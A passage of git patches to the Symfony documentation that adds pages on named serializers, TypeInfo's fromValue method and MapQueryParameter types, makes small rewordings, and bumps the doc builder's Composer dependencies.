-from the type to the correct service id (see :ref:`autowiring-interface-alias`).
+whose id matches the type-hint. So you need to choose one by :ref:`creating an alias
+<autowiring-interface-alias>` from the type to the correct service id.
 Additionally, you can define several named autowiring aliases if you want to use
 one implementation in some cases, and another implementation in some
 other cases.

From 1b09d4c56c5d47cc928a49c249c5abc97457b282 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Wed, 19 Mar 2025 01:49:32 +0100
Subject: [PATCH 6810/7107] [Serializer] Document named serializers

---
 serializer.rst | 249 +++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 249 insertions(+)

diff --git a/serializer.rst b/serializer.rst
index 605946956ac..5f9144abae0 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -1537,6 +1537,255 @@ like:
             PropertyNormalizer::NORMALIZE_VISIBILITY => PropertyNormalizer::NORMALIZE_PUBLIC | PropertyNormalizer::NORMALIZE_PROTECTED,
         ]);
 
+Named Serializers
+-----------------
+
+.. versionadded:: 7.2
+
+    Named serializers were introduced in Symfony 7.2.
+
+Sometimes, you may need multiple configurations for the serializer, such
+as different default contexts, name converters, or sets of normalizers and
+encoders, depending on the use case. For example, when your application
+communicates with multiple APIs, each with its own set of rules.
+
+This can be achieved by configuring multiple instances of the serializer
+using the ``named_serializers`` option:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/serializer.yaml
+        framework:
+            serializer:
+                named_serializers:
+                    api_client1:
+                        name_converter: 'serializer.name_converter.camel_case_to_snake_case'
+                        default_context:
+                            enable_max_depth: true
+                    api_client2:
+                        default_context:
+                            enable_max_depth: false
+
+    .. code-block:: xml
+
+        <!-- config/packages/serializer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:serializer>
+
+                    <framework:named-serializer
+                        name="api_client1"
+                        name-converter="serializer.name_converter.camel_case_to_snake_case"
+                    >
+                        <framework:default-context>
+                            <framework:enable_max_depth>true</framework:enable_max_depth>
+                        </framework:default-context>
+                    </framework:named-serializer>
+
+                    <framework:named-serializer name="api_client2">
+                        <framework:default-context>
+                            <framework:enable_max_depth>false</framework:enable_max_depth>
+                        </framework:default-context>
+                    </framework:named-serializer>
+
+                </framework:serializer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/serializer.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            $framework->serializer()
+                ->namedSerializer('api_client1')
+                    ->nameConverter('serializer.name_converter.camel_case_to_snake_case')
+                    ->defaultContext([
+                        'enable_max_depth' => true,
+                    ])
+            ;
+            $framework->serializer()
+                ->namedSerializer('api_client2')
+                    ->defaultContext([
+                        'enable_max_depth' => false,
+                    ])
+            ;
+        };
+
+You can inject these different serializer instances
+using :ref:`named aliases <autowiring-multiple-implementations-same-type>`::
+
+    namespace App\Controller;
+
+    // ...
+    use Symfony\Component\DependencyInjection\Attribute\Target;
+
+    class PersonController extends AbstractController
+    {
+        public function index(
+            SerializerInterface $serializer,           // Default serializer
+            SerializerInterface $apiClient1Serializer, // api_client1 serializer
+            #[Target('apiClient2.serializer')]         // api_client2 serializer
+            SerializerInterface $customName,
+        ) {
+            // ...
+        }
+    }
+
+Named serializers are configured with the default set of normalizers and encoders.
+
+You can register additional normalizers and encoders with a specific named
+serializer by adding a ``serializer`` attribute to
+the :ref:`serializer.normalizer <reference-dic-tags-serializer-normalizer>`
+or :ref:`serializer.encoder <reference-dic-tags-serializer-encoder>` tags:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/services.yaml
+        services:
+            # ...
+
+            Symfony\Component\Serializer\Normalizer\CustomNormalizer:
+                # Prevent this normalizer from automatically being included in the default serializer
+                autoconfigure: false
+                tags:
+                    # Include this normalizer in a single serializer
+                    - serializer.normalizer: { serializer: 'api_client1' }
+                    # Include this normalizer in multiple serializers
+                    - serializer.normalizer: { serializer: [ 'api_client1', 'api_client2' ] }
+                    # Include this normalizer in all serializers (including the default one)
+                    - serializer.normalizer: { serializer: '*' }
+
+    .. code-block:: xml
+
+        <!-- config/services.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd">
+
+            <services>
+                <!-- ... -->
+
+                <!-- Disable autoconfigure to prevent this normalizer from automatically -->
+                <!-- being included in the default serializer -->
+                <service
+                    id="Symfony\Component\Serializer\Normalizer\CustomNormalizer"
+                    autoconfigure="false"
+                >
+                    <!-- Include this normalizer in a single serializer -->
+                    <tag name="serializer.normalizer" serializer="api_client1"/>
+
+                    <!-- Include this normalizer in multiple serializers -->
+                    <tag name="serializer.normalizer" serializer="api_client1"/>
+                    <tag name="serializer.normalizer" serializer="api_client2"/>
+
+                    <!-- Include this normalizer in all serializers (including the default one) -->
+                    <tag name="serializer.normalizer" serializer="*"/>
+                </service>
+            </services>
+        </container>
+
+    .. code-block:: php
+
+        // config/services.php
+        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
+
+        use Symfony\Component\Serializer\Normalizer\CustomNormalizer;
+
+        return function(ContainerConfigurator $container) {
+            // ...
+
+            $services->set(CustomNormalizer::class)
+                // Prevent this normalizer from automatically being included in the default serializer
+                ->autoconfigure(false)
+
+                // Include this normalizer in a single serializer
+                ->tag('serializer.normalizer', ['serializer' => 'api_client1'])
+                // Include this normalizer in multiple serializers
+                ->tag('serializer.normalizer', ['serializer' => ['api_client1', 'api_client2']])
+                // Include this normalizer in all serializers (including the default one)
+                ->tag('serializer.normalizer', ['serializer' => '*'])
+            ;
+        };
+
+When the ``serializer`` attribute is not set, the service is registered with
+the default serializer.
+
+Each normalizer and encoder used in a named serializer is tagged with
+a ``serializer.normalizer.<name>`` or ``serializer.encoder.<name>`` tag,
+which can be used to list their priorities using the following command:
+
+.. code-block:: terminal
+
+    $ php bin/console debug:container --tag serializer.<normalizer|encoder>.<name>
+
+Additionally, you can exclude the default set of normalizers and encoders by
+setting the ``include_built_in_normalizers`` and ``include_built_in_encoders``
+options to ``false``:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/serializer.yaml
+        framework:
+            serializer:
+                named_serializers:
+                    api_client1:
+                        include_built_in_normalizers: false
+                        include_built_in_encoders: true
+
+    .. code-block:: xml
+
+        <!-- config/packages/serializer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:serializer>
+
+                    <framework:named-serializer
+                        name="api_client1"
+                        include-built-in-normalizers="false"
+                        include-built-in-encoders="true"
+                    />
+
+                </framework:serializer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/serializer.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            $framework->serializer()
+                ->namedSerializer('api_client1')
+                    ->includeBuiltInNormalizers(false)
+                    ->includeBuiltInEncoders(true)
+            ;
+        };
+
 Debugging the Serializer
 ------------------------
 

From fd26bacbbb4598f2f4d4f95cdd0546efe456bd58 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 20 Mar 2025 10:41:34 +0100
Subject: [PATCH 6811/7107] Minor tweaks

---
 messenger.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 105bbaad8c9..6d1602f410c 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -2314,8 +2314,8 @@ will take care of creating a new process with the parameters you passed::
         }
     }
 
-A static factory :method:`Symfony\\Component\\Process\\Messenger\\RunProcessMessage::fromShellCommandline` is also
-available if you want to use features of your shell such as redirections or pipes::
+If you want to use shell features such as redirections or pipes, use the static
+factory :method:Symfony\\Component\\Process\\Messenger\\RunProcessMessage::fromShellCommandline::
 
     use Symfony\Component\Messenger\MessageBusInterface;
     use Symfony\Component\Process\Messenger\RunProcessMessage;
@@ -2335,8 +2335,8 @@ available if you want to use features of your shell such as redirections or pipe
         }
     }
 
-For more information, see the
-dedicated :ref:`Using Features From the OS Shell <process-using-features-from-the-os-shell>` documentation.
+For more information, read the documentation about
+:ref:`using features from the OS shell <process-using-features-from-the-os-shell>`.
 
 .. versionadded:: 7.3
 

From 081a975430c701cff5d876f3e4d962fd794953c6 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 20 Mar 2025 21:15:48 +0100
Subject: [PATCH 6812/7107] [TypeInfo] Add TypeFactoryTrait::fromValue method

---
 components/type_info.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/components/type_info.rst b/components/type_info.rst
index b97fbf4cc8b..5418c765ce7 100644
--- a/components/type_info.rst
+++ b/components/type_info.rst
@@ -36,10 +36,15 @@ to the :class:`Symfony\\Component\\TypeInfo\\Type` static methods as following::
     Type::generic(Type::object(Collection::class), Type::int());
     Type::list(Type::bool());
     Type::intersection(Type::object(\Stringable::class), Type::object(\Iterator::class));
+    Type::fromValue(1.1) // same as Type::float()
 
     // Many others are available and can be
     // found in Symfony\Component\TypeInfo\TypeFactoryTrait
 
+.. versionadded:: 7.3
+
+    The ``fromValue()`` method was introduced in Symfony 7.3.
+
 Resolvers
 ~~~~~~~~~
 

From d873aec48150e48f16afb2fa70b1a531c6827c85 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 20 Mar 2025 22:38:11 +0100
Subject: [PATCH 6813/7107] Document supported types #[MapQueryParameter]

---
 controller.rst | 10 ++++++++++
 1 file changed, 10 insertions(+)

diff --git a/controller.rst b/controller.rst
index 3d4f84b4888..f09769ebc02 100644
--- a/controller.rst
+++ b/controller.rst
@@ -367,6 +367,16 @@ attribute, arguments of your controller's action can be automatically fulfilled:
         // ...
     }
 
+:class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryParameter` support
+arguments of type:
+
+- ``string``
+- ``int``
+- ``float``
+- ``bool``
+- ``array``
+- ``\BackedEnum``
+
 ``#[MapQueryParameter]`` can take an optional argument called ``filter``. You can use the
 `Validate Filters`_ constants defined in PHP::
 

From 005ad0266ce29494e1fa89df0b5fdb3596fb459f Mon Sep 17 00:00:00 2001
From: MrYamous <matt.lempereur@gmail.com>
Date: Fri, 21 Mar 2025 07:01:55 +0100
Subject: [PATCH 6814/7107] refer TypeFactoryTrait to github file

---
 components/type_info.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/type_info.rst b/components/type_info.rst
index 2a92a3db63e..3d1aa569fec 100644
--- a/components/type_info.rst
+++ b/components/type_info.rst
@@ -37,8 +37,8 @@ to the :class:`Symfony\\Component\\TypeInfo\\Type` static methods as following::
     Type::list(Type::bool());
     Type::intersection(Type::object(\Stringable::class), Type::object(\Iterator::class));
 
-    // Many others are available and can be
-    // found in Symfony\Component\TypeInfo\TypeFactoryTrait
+Many others methods are available and can be found
+in :class:`Symfony\\Component\\TypeInfo\\TypeFactoryTrait`.
 
 Resolvers
 ~~~~~~~~~

From 8967cd3617dfd0fd3be2f7f00b97b50e5f1b0060 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 Mar 2025 09:11:31 +0100
Subject: [PATCH 6815/7107] Reword

---
 components/type_info.rst | 8 +++++---
 1 file changed, 5 insertions(+), 3 deletions(-)

diff --git a/components/type_info.rst b/components/type_info.rst
index 5418c765ce7..25d654995e0 100644
--- a/components/type_info.rst
+++ b/components/type_info.rst
@@ -36,10 +36,12 @@ to the :class:`Symfony\\Component\\TypeInfo\\Type` static methods as following::
     Type::generic(Type::object(Collection::class), Type::int());
     Type::list(Type::bool());
     Type::intersection(Type::object(\Stringable::class), Type::object(\Iterator::class));
-    Type::fromValue(1.1) // same as Type::float()
+    // ... and more methods defined in Symfony\Component\TypeInfo\TypeFactoryTrait
 
-    // Many others are available and can be
-    // found in Symfony\Component\TypeInfo\TypeFactoryTrait
+    // you can also use a generic method that detects the type automatically
+    Type::fromValue(1.1)   // same as Type::float()
+    Type::fromValue('...') // same as Type::string()
+    Type::fromValue(false) // same as Type::false()
 
 .. versionadded:: 7.3
 

From 0772b75238fbc4523113d97581400833fa570eca Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 Mar 2025 09:20:30 +0100
Subject: [PATCH 6816/7107] Reword

---
 controller.rst | 17 ++++++++---------
 1 file changed, 8 insertions(+), 9 deletions(-)

diff --git a/controller.rst b/controller.rst
index f09769ebc02..a198a6c9018 100644
--- a/controller.rst
+++ b/controller.rst
@@ -367,15 +367,14 @@ attribute, arguments of your controller's action can be automatically fulfilled:
         // ...
     }
 
-:class:`Symfony\\Component\\HttpKernel\\Attribute\\MapQueryParameter` support
-arguments of type:
-
-- ``string``
-- ``int``
-- ``float``
-- ``bool``
-- ``array``
-- ``\BackedEnum``
+The ``MapQueryParameter`` attribute supports the following argument types:
+
+* ``\BackedEnum``
+* ``array``
+* ``bool``
+* ``float``
+* ``int``
+* ``string``
 
 ``#[MapQueryParameter]`` can take an optional argument called ``filter``. You can use the
 `Validate Filters`_ constants defined in PHP::

From 006b41e3f87536a2f57accf755bb8b06225bb24c Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Fri, 21 Mar 2025 09:23:37 +0100
Subject: [PATCH 6817/7107] Update type_info.rst

---
 components/type_info.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/type_info.rst b/components/type_info.rst
index 25d654995e0..7f767c1149e 100644
--- a/components/type_info.rst
+++ b/components/type_info.rst
@@ -39,9 +39,9 @@ to the :class:`Symfony\\Component\\TypeInfo\\Type` static methods as following::
     // ... and more methods defined in Symfony\Component\TypeInfo\TypeFactoryTrait
 
     // you can also use a generic method that detects the type automatically
-    Type::fromValue(1.1)   // same as Type::float()
-    Type::fromValue('...') // same as Type::string()
-    Type::fromValue(false) // same as Type::false()
+    Type::fromValue(1.1);   // same as Type::float()
+    Type::fromValue('...'); // same as Type::string()
+    Type::fromValue(false); // same as Type::false()
 
 .. versionadded:: 7.3
 

From 2243ab9246cb22dfe571f262ac30698d897b1585 Mon Sep 17 00:00:00 2001
From: Florian Cellier <florian.cellier@sensiolabs.com>
Date: Fri, 21 Mar 2025 12:37:40 +0100
Subject: [PATCH 6818/7107] doc: Add doc for option `--dry-run` for the command
 `importmap:require` of the AssetMapper component

---
 frontend/asset_mapper.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index d68c77c0105..2354485a2bf 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -215,6 +215,11 @@ to add any `npm package`_:
 
     $ php bin/console importmap:require bootstrap
 
+.. tip::
+
+    The command takes the well-know ``--dry-run`` option to simulate the installation of the packages, useful
+    to show what will be installed without altering anything.
+
 This adds the ``bootstrap`` package to your ``importmap.php`` file::
 
     // importmap.php

From 4372e674fa7f62efb1cc161dee39b6faf6508ac3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 Mar 2025 15:09:40 +0100
Subject: [PATCH 6819/7107] Update the doc builder dependencies

---
 _build/composer.json |   6 +-
 _build/composer.lock | 157 ++++++++++++++++++++++---------------------
 2 files changed, 83 insertions(+), 80 deletions(-)

diff --git a/_build/composer.json b/_build/composer.json
index e09d79de52f..f77976b10f4 100644
--- a/_build/composer.json
+++ b/_build/composer.json
@@ -3,7 +3,7 @@
     "prefer-stable": true,
     "config": {
         "platform": {
-            "php": "8.1.0"
+            "php": "8.3"
         },
         "preferred-install": {
             "*": "dist"
@@ -14,9 +14,9 @@
         }
     },
     "require": {
-        "php": ">=8.1",
+        "php": ">=8.3",
         "symfony/console": "^6.2",
         "symfony/process": "^6.2",
-        "symfony-tools/docs-builder": "^0.21"
+        "symfony-tools/docs-builder": "^0.27"
     }
 }
diff --git a/_build/composer.lock b/_build/composer.lock
index a30ed16776b..b9a4646f8ae 100644
--- a/_build/composer.lock
+++ b/_build/composer.lock
@@ -4,7 +4,7 @@
         "Read more about it at https://getcomposer.org/doc/01-basic-usage.md#installing-dependencies",
         "This file is @generated automatically"
     ],
-    "content-hash": "6524e63395216a3a297f1c78c7f39d86",
+    "content-hash": "e38eca557458275428db96db370d2c74",
     "packages": [
         {
             "name": "doctrine/event-manager",
@@ -420,37 +420,37 @@
         },
         {
             "name": "symfony-tools/docs-builder",
-            "version": "v0.21.0",
+            "version": "0.27.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony-tools/docs-builder.git",
-                "reference": "7ab92db15e9be7d6af51b86db87c7e41a14ba18b"
+                "reference": "720b52b2805122a4c08376496bd9661944c2624a"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony-tools/docs-builder/zipball/7ab92db15e9be7d6af51b86db87c7e41a14ba18b",
-                "reference": "7ab92db15e9be7d6af51b86db87c7e41a14ba18b",
+                "url": "https://api.github.com/repos/symfony-tools/docs-builder/zipball/720b52b2805122a4c08376496bd9661944c2624a",
+                "reference": "720b52b2805122a4c08376496bd9661944c2624a",
                 "shasum": ""
             },
             "require": {
                 "doctrine/rst-parser": "^0.5",
                 "ext-curl": "*",
                 "ext-json": "*",
-                "php": ">=7.4",
-                "scrivo/highlight.php": "^9.12.0",
-                "symfony/console": "^5.2 || ^6.0",
-                "symfony/css-selector": "^5.2 || ^6.0",
-                "symfony/dom-crawler": "^5.2 || ^6.0",
-                "symfony/filesystem": "^5.2 || ^6.0",
-                "symfony/finder": "^5.2 || ^6.0",
-                "symfony/http-client": "^5.2 || ^6.0",
+                "php": ">=8.3",
+                "scrivo/highlight.php": "^9.18.1",
+                "symfony/console": "^5.2 || ^6.0 || ^7.0",
+                "symfony/css-selector": "^5.2 || ^6.0 || ^7.0",
+                "symfony/dom-crawler": "^5.2 || ^6.0 || ^7.0",
+                "symfony/filesystem": "^5.2 || ^6.0 || ^7.0",
+                "symfony/finder": "^5.2 || ^6.0 || ^7.0",
+                "symfony/http-client": "^5.2 || ^6.0 || ^7.0",
                 "twig/twig": "^2.14 || ^3.3"
             },
             "require-dev": {
                 "gajus/dindent": "^2.0",
                 "masterminds/html5": "^2.7",
-                "symfony/phpunit-bridge": "^5.2 || ^6.0",
-                "symfony/process": "^5.2 || ^6.0"
+                "symfony/phpunit-bridge": "^5.2 || ^6.0 || ^7.0",
+                "symfony/process": "^5.2 || ^6.0 || ^7.0"
             },
             "bin": [
                 "bin/docs-builder"
@@ -468,9 +468,9 @@
             "description": "The build system for Symfony's documentation",
             "support": {
                 "issues": "https://github.com/symfony-tools/docs-builder/issues",
-                "source": "https://github.com/symfony-tools/docs-builder/tree/v0.21.0"
+                "source": "https://github.com/symfony-tools/docs-builder/tree/0.27.0"
             },
-            "time": "2023-07-11T15:21:07+00:00"
+            "time": "2025-03-21T09:48:45+00:00"
         },
         {
             "name": "symfony/console",
@@ -568,20 +568,20 @@
         },
         {
             "name": "symfony/css-selector",
-            "version": "v6.4.13",
+            "version": "v7.2.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/css-selector.git",
-                "reference": "cb23e97813c5837a041b73a6d63a9ddff0778f5e"
+                "reference": "601a5ce9aaad7bf10797e3663faefce9e26c24e2"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/css-selector/zipball/cb23e97813c5837a041b73a6d63a9ddff0778f5e",
-                "reference": "cb23e97813c5837a041b73a6d63a9ddff0778f5e",
+                "url": "https://api.github.com/repos/symfony/css-selector/zipball/601a5ce9aaad7bf10797e3663faefce9e26c24e2",
+                "reference": "601a5ce9aaad7bf10797e3663faefce9e26c24e2",
                 "shasum": ""
             },
             "require": {
-                "php": ">=8.1"
+                "php": ">=8.2"
             },
             "type": "library",
             "autoload": {
@@ -613,7 +613,7 @@
             "description": "Converts CSS selectors to XPath expressions",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/css-selector/tree/v6.4.13"
+                "source": "https://github.com/symfony/css-selector/tree/v7.2.0"
             },
             "funding": [
                 {
@@ -629,7 +629,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2024-09-25T14:18:03+00:00"
+            "time": "2024-09-25T14:21:43+00:00"
         },
         {
             "name": "symfony/deprecation-contracts",
@@ -700,26 +700,26 @@
         },
         {
             "name": "symfony/dom-crawler",
-            "version": "v6.4.19",
+            "version": "v7.2.4",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/dom-crawler.git",
-                "reference": "19073e3e0bb50cbc1cb286077069b3107085206f"
+                "reference": "19cc7b08efe9ad1ab1b56e0948e8d02e15ed3ef7"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/19073e3e0bb50cbc1cb286077069b3107085206f",
-                "reference": "19073e3e0bb50cbc1cb286077069b3107085206f",
+                "url": "https://api.github.com/repos/symfony/dom-crawler/zipball/19cc7b08efe9ad1ab1b56e0948e8d02e15ed3ef7",
+                "reference": "19cc7b08efe9ad1ab1b56e0948e8d02e15ed3ef7",
                 "shasum": ""
             },
             "require": {
                 "masterminds/html5": "^2.6",
-                "php": ">=8.1",
+                "php": ">=8.2",
                 "symfony/polyfill-ctype": "~1.8",
                 "symfony/polyfill-mbstring": "~1.0"
             },
             "require-dev": {
-                "symfony/css-selector": "^5.4|^6.0|^7.0"
+                "symfony/css-selector": "^6.4|^7.0"
             },
             "type": "library",
             "autoload": {
@@ -747,7 +747,7 @@
             "description": "Eases DOM navigation for HTML and XML documents",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/dom-crawler/tree/v6.4.19"
+                "source": "https://github.com/symfony/dom-crawler/tree/v7.2.4"
             },
             "funding": [
                 {
@@ -763,29 +763,29 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2025-02-14T17:58:34+00:00"
+            "time": "2025-02-17T15:53:07+00:00"
         },
         {
             "name": "symfony/filesystem",
-            "version": "v6.4.13",
+            "version": "v7.2.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/filesystem.git",
-                "reference": "4856c9cf585d5a0313d8d35afd681a526f038dd3"
+                "reference": "b8dce482de9d7c9fe2891155035a7248ab5c7fdb"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/filesystem/zipball/4856c9cf585d5a0313d8d35afd681a526f038dd3",
-                "reference": "4856c9cf585d5a0313d8d35afd681a526f038dd3",
+                "url": "https://api.github.com/repos/symfony/filesystem/zipball/b8dce482de9d7c9fe2891155035a7248ab5c7fdb",
+                "reference": "b8dce482de9d7c9fe2891155035a7248ab5c7fdb",
                 "shasum": ""
             },
             "require": {
-                "php": ">=8.1",
+                "php": ">=8.2",
                 "symfony/polyfill-ctype": "~1.8",
                 "symfony/polyfill-mbstring": "~1.8"
             },
             "require-dev": {
-                "symfony/process": "^5.4|^6.4|^7.0"
+                "symfony/process": "^6.4|^7.0"
             },
             "type": "library",
             "autoload": {
@@ -813,7 +813,7 @@
             "description": "Provides basic utilities for the filesystem",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/filesystem/tree/v6.4.13"
+                "source": "https://github.com/symfony/filesystem/tree/v7.2.0"
             },
             "funding": [
                 {
@@ -829,27 +829,27 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2024-10-25T15:07:50+00:00"
+            "time": "2024-10-25T15:15:23+00:00"
         },
         {
             "name": "symfony/finder",
-            "version": "v6.4.17",
+            "version": "v7.2.2",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/finder.git",
-                "reference": "1d0e8266248c5d9ab6a87e3789e6dc482af3c9c7"
+                "reference": "87a71856f2f56e4100373e92529eed3171695cfb"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/finder/zipball/1d0e8266248c5d9ab6a87e3789e6dc482af3c9c7",
-                "reference": "1d0e8266248c5d9ab6a87e3789e6dc482af3c9c7",
+                "url": "https://api.github.com/repos/symfony/finder/zipball/87a71856f2f56e4100373e92529eed3171695cfb",
+                "reference": "87a71856f2f56e4100373e92529eed3171695cfb",
                 "shasum": ""
             },
             "require": {
-                "php": ">=8.1"
+                "php": ">=8.2"
             },
             "require-dev": {
-                "symfony/filesystem": "^6.0|^7.0"
+                "symfony/filesystem": "^6.4|^7.0"
             },
             "type": "library",
             "autoload": {
@@ -877,7 +877,7 @@
             "description": "Finds files and directories via an intuitive fluent interface",
             "homepage": "https://symfony.com",
             "support": {
-                "source": "https://github.com/symfony/finder/tree/v6.4.17"
+                "source": "https://github.com/symfony/finder/tree/v7.2.2"
             },
             "funding": [
                 {
@@ -893,32 +893,33 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2024-12-29T13:51:37+00:00"
+            "time": "2024-12-30T19:00:17+00:00"
         },
         {
             "name": "symfony/http-client",
-            "version": "v6.4.19",
+            "version": "v7.2.4",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/http-client.git",
-                "reference": "3294a433fc9d12ae58128174896b5b1822c28dad"
+                "reference": "78981a2ffef6437ed92d4d7e2a86a82f256c6dc6"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/http-client/zipball/3294a433fc9d12ae58128174896b5b1822c28dad",
-                "reference": "3294a433fc9d12ae58128174896b5b1822c28dad",
+                "url": "https://api.github.com/repos/symfony/http-client/zipball/78981a2ffef6437ed92d4d7e2a86a82f256c6dc6",
+                "reference": "78981a2ffef6437ed92d4d7e2a86a82f256c6dc6",
                 "shasum": ""
             },
             "require": {
-                "php": ">=8.1",
+                "php": ">=8.2",
                 "psr/log": "^1|^2|^3",
                 "symfony/deprecation-contracts": "^2.5|^3",
                 "symfony/http-client-contracts": "~3.4.4|^3.5.2",
                 "symfony/service-contracts": "^2.5|^3"
             },
             "conflict": {
+                "amphp/amp": "<2.5",
                 "php-http/discovery": "<1.15",
-                "symfony/http-foundation": "<6.3"
+                "symfony/http-foundation": "<6.4"
             },
             "provide": {
                 "php-http/async-client-implementation": "*",
@@ -927,19 +928,20 @@
                 "symfony/http-client-implementation": "3.0"
             },
             "require-dev": {
-                "amphp/amp": "^2.5",
-                "amphp/http-client": "^4.2.1",
-                "amphp/http-tunnel": "^1.0",
+                "amphp/http-client": "^4.2.1|^5.0",
+                "amphp/http-tunnel": "^1.0|^2.0",
                 "amphp/socket": "^1.1",
                 "guzzlehttp/promises": "^1.4|^2.0",
                 "nyholm/psr7": "^1.0",
                 "php-http/httplug": "^1.0|^2.0",
                 "psr/http-client": "^1.0",
-                "symfony/dependency-injection": "^5.4|^6.0|^7.0",
-                "symfony/http-kernel": "^5.4|^6.0|^7.0",
-                "symfony/messenger": "^5.4|^6.0|^7.0",
-                "symfony/process": "^5.4|^6.0|^7.0",
-                "symfony/stopwatch": "^5.4|^6.0|^7.0"
+                "symfony/amphp-http-client-meta": "^1.0|^2.0",
+                "symfony/dependency-injection": "^6.4|^7.0",
+                "symfony/http-kernel": "^6.4|^7.0",
+                "symfony/messenger": "^6.4|^7.0",
+                "symfony/process": "^6.4|^7.0",
+                "symfony/rate-limiter": "^6.4|^7.0",
+                "symfony/stopwatch": "^6.4|^7.0"
             },
             "type": "library",
             "autoload": {
@@ -970,7 +972,7 @@
                 "http"
             ],
             "support": {
-                "source": "https://github.com/symfony/http-client/tree/v6.4.19"
+                "source": "https://github.com/symfony/http-client/tree/v7.2.4"
             },
             "funding": [
                 {
@@ -986,7 +988,7 @@
                     "type": "tidelift"
                 }
             ],
-            "time": "2025-02-13T09:55:13+00:00"
+            "time": "2025-02-13T10:27:23+00:00"
         },
         {
             "name": "symfony/http-client-contracts",
@@ -1530,20 +1532,20 @@
         },
         {
             "name": "symfony/string",
-            "version": "v6.4.15",
+            "version": "v7.2.0",
             "source": {
                 "type": "git",
                 "url": "https://github.com/symfony/string.git",
-                "reference": "73a5e66ea2e1677c98d4449177c5a9cf9d8b4c6f"
+                "reference": "446e0d146f991dde3e73f45f2c97a9faad773c82"
             },
             "dist": {
                 "type": "zip",
-                "url": "https://api.github.com/repos/symfony/string/zipball/73a5e66ea2e1677c98d4449177c5a9cf9d8b4c6f",
-                "reference": "73a5e66ea2e1677c98d4449177c5a9cf9d8b4c6f",
+                "url": "https://api.github.com/repos/symfony/string/zipball/446e0d146f991dde3e73f45f2c97a9faad773c82",
+                "reference": "446e0d146f991dde3e73f45f2c97a9faad773c82",
                 "shasum": ""
             },
             "require": {
-                "php": ">=8.1",
+                "php": ">=8.2",
                 "symfony/polyfill-ctype": "~1.8",
                 "symfony/polyfill-intl-grapheme": "~1.0",
